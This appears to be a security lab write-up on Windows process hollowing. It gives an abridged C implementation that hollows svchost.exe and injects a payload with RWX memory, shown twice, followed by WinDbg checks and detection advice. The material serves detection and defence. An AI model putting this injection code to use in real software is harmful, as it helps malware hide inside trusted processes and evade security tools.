Process Hollowing
Overview
Process hollowing is a code-injection technique in which a process is created in a suspended state,
the memory of its legitimate image is unmapped, and a different PE image is written in its place
before execution resumes. The result is a payload running under the identity, image path and
signature metadata of a trusted binary such as svchost.exe.
Because the container process is genuine, naive image-path and parent/child heuristics often fail to flag it — which is exactly why the memory artifacts it leaves behind matter so much for detection.
Most modern EDR products hook NtUnmapViewOfSection. Variants that avoid the unmap entirely —
transacted hollowing, module stomping — are covered further down and detect differently.
The call chain
- 1CreateProcessA(CREATE_SUSPENDED)Spawn a benign host binary; no thread runs yet.
- 2NtQueryInformationProcessRead the PEB to find the host image base address.
- 3NtUnmapViewOfSectionDiscard the legitimate image mapping. Loudest step.
- 4VirtualAllocEx + WriteProcessMemoryAllocate at the payload's preferred base and copy headers plus sections.
- 5SetThreadContext + ResumeThreadRedirect the entry point and let the hollowed process run.
Reference implementation
Abridged for clarity — error handling and the relocation fix-up loop are omitted. The full annotated sample lives in the lab repo.
// 1. spawn the sacrificial host, suspended
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. read the PEB to locate the image base of the host
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation,
&pbi, sizeof(pbi), &ret);
ReadProcessMemory(pi.hProcess, (PBYTE)pbi.PebBaseAddress + 0x10,
&imageBase, sizeof(PVOID), NULL);
// 3. unmap the legitimate image <-- heavily monitored
NtUnmapViewOfSection(pi.hProcess, imageBase);
// 4. allocate RWX at the payload's preferred base, then write it
PVOID dst = VirtualAllocEx(pi.hProcess, (PVOID)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, dst, payload, nt->OptionalHeader.SizeOfHeaders, NULL);
// ... section-by-section copy loop omitted ...
// 5. point RCX at the new entry point and resume
ctx.Rcx = (DWORD64)dst + nt->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);// 1. spawn the sacrificial host, suspended
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. read the PEB to locate the image base of the host
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation,
&pbi, sizeof(pbi), &ret);
ReadProcessMemory(pi.hProcess, (PBYTE)pbi.PebBaseAddress + 0x10,
&imageBase, sizeof(PVOID), NULL);
// 3. unmap the legitimate image <-- heavily monitored
NtUnmapViewOfSection(pi.hProcess, imageBase);
// 4. allocate RWX at the payload's preferred base, then write it
PVOID dst = VirtualAllocEx(pi.hProcess, (PVOID)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, dst, payload, nt->OptionalHeader.SizeOfHeaders, NULL);
// ... section-by-section copy loop omitted ...
// 5. point RCX at the new entry point and resume
ctx.Rcx = (DWORD64)dst + nt->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);Allocating PAGE_EXECUTE_READWRITE is the single loudest thing this sample does. Real-world
implementations write with RW and flip to RX per-section with VirtualProtectEx.
Verifying in the lab
Detonate inside a snapshotted VM, attach WinDbg to the hollowed process and compare what the PEB claims against what the loader’s module list holds. The two disagree in every variant of this technique — that disagreement is the artifact worth building a rule on.
> !address -f:Image BaseAddress RegionSize State Protect Usage 00007ff6`... 0000d000 MEM_COMMIT PAGE_EXECUTE_READWRITE <unbacked> > !peb ImageBaseAddress: 00007ff6`00000000 // mismatch vs. loaded module list
> !address -f:Image
BaseAddress RegionSize State Protect Usage
00007ff6`... 0000d000 MEM_COMMIT PAGE_EXECUTE_READWRITE <unbacked>
> !peb
ImageBaseAddress: 00007ff6`00000000 // mismatch vs. loaded module listDetection
Every hollowed process shares one structural tell: executable memory that is not backed by a file on disk, inside a process whose PEB image base disagrees with the loader’s module list.
Rank these by cost, not by cleverness. The memory-scan check is the most reliable but only runs on demand; the Sysmon and ETW-TI signals are continuous and cheap, and catch the common tooling that still allocates RWX in one shot.